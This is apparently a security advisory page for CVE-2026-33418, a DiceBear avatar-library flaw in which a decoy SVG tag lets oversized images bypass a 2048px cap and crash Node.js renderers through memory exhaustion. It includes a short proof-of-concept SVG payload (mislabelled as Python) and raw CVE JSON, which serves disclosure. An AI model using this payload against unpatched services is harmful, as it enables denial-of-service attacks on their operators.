Security Vulnerability Report
中文
CVE-2026-33418 CVSS 7.5 HIGH

CVE-2026-33418

Published: 2026-03-24 14:16:30
Last Modified: 2026-03-24 19:19:48

Description

DiceBear is an avatar library for designers and developers. Prior to version 9.4.2, the `ensureSize()` function in `@dicebear/converter` used a regex-based approach to rewrite SVG `width`/`height` attributes, capping them at 2048px to prevent denial of service. This size capping could be bypassed by crafting SVG input that causes the regex to match a non-functional occurrence of `<svg` before the actual SVG root element. When the SVG is subsequently rendered via `@resvg/resvg-js` on the Node.js code path, it renders at the attacker-specified dimensions, potentially causing out-of-memory crashes. In version 9.4.2, the regex-based approach has been replaced with XML-aware processing using `fast-xml-parser` to correctly identify and modify the SVG root element's attributes. Additionally, a `fitTo` constraint has been added to the `renderAsync` call as defense-in-depth, ensuring the rendered output is always bounded regardless of SVG content.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:dicebear:dicebear:*:*:*:*:*:*:*:* - VULNERABLE
DiceBear < 9.4.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// PoC for CVE-2026-33418: DiceBear SVG Size Limit Bypass // The vulnerable regex matches the first occurrence of <svg width/height>. // By placing a decoy SVG tag before the real one, the limit is applied to the decoy. // The real SVG retains its malicious huge dimensions, causing OOM. const maliciousSvg = ` <!-- Decoy SVG element to satisfy the regex check --> <svg width="2048" height="2048" xmlns="http://www.w3.org/2000/svg" style="display:none;"> <rect width="100%" height="100%" fill="white"/> </svg> <!-- Real malicious SVG element with massive dimensions --> <svg width="999999" height="999999" xmlns="http://www.w3.org/2000/svg"> <rect width="100%" height="100%" fill="black"/> </svg> `; // Example usage in a vulnerable context: // const { ensureSize } = require('@dicebear/converter'); // const cleanSvg = ensureSize(maliciousSvg); // Modifies the decoy, misses the real one // renderAsync(cleanSvg); // Triggers Out-Of-Memory

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-33418", "sourceIdentifier": "[email protected]", "published": "2026-03-24T14:16:30.453", "lastModified": "2026-03-24T19:19:48.480", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "DiceBear is an avatar library for designers and developers. Prior to version 9.4.2, the `ensureSize()` function in `@dicebear/converter` used a regex-based approach to rewrite SVG `width`/`height` attributes, capping them at 2048px to prevent denial of service. This size capping could be bypassed by crafting SVG input that causes the regex to match a non-functional occurrence of `<svg` before the actual SVG root element. When the SVG is subsequently rendered via `@resvg/resvg-js` on the Node.js code path, it renders at the attacker-specified dimensions, potentially causing out-of-memory crashes. In version 9.4.2, the regex-based approach has been replaced with XML-aware processing using `fast-xml-parser` to correctly identify and modify the SVG root element's attributes. Additionally, a `fitTo` constraint has been added to the `renderAsync` call as defense-in-depth, ensuring the rendered output is always bounded regardless of SVG content."}, {"lang": "es", "value": "DiceBear es una biblioteca de avatares para diseñadores y desarrolladores. Antes de la versión 9.4.2, la función `ensureSize()` en `@dicebear/converter` utilizaba un enfoque basado en expresiones regulares para reescribir los atributos SVG `width`/`height`, limitándolos a 2048px para prevenir la denegación de servicio. Esta limitación de tamaño podía ser eludida creando una entrada SVG que causara que la expresión regular coincidiera con una ocurrencia no funcional de `"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-185"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:dicebear:dicebear:*:*:*:*:*:*:*:*", "versionEndExcluding": "9.4.2", "matchCriteriaId": "D093A78E-123F-45B2-98DA-50541D0DC041"}]}]}], "references": [{"url": "https://github.com/dicebear/dicebear/security/advisories/GHSA-7j2x-32w6-p43p", "source": "[email protected]", "tags": ["Mitigation", "Vendor Advisory"]}]}}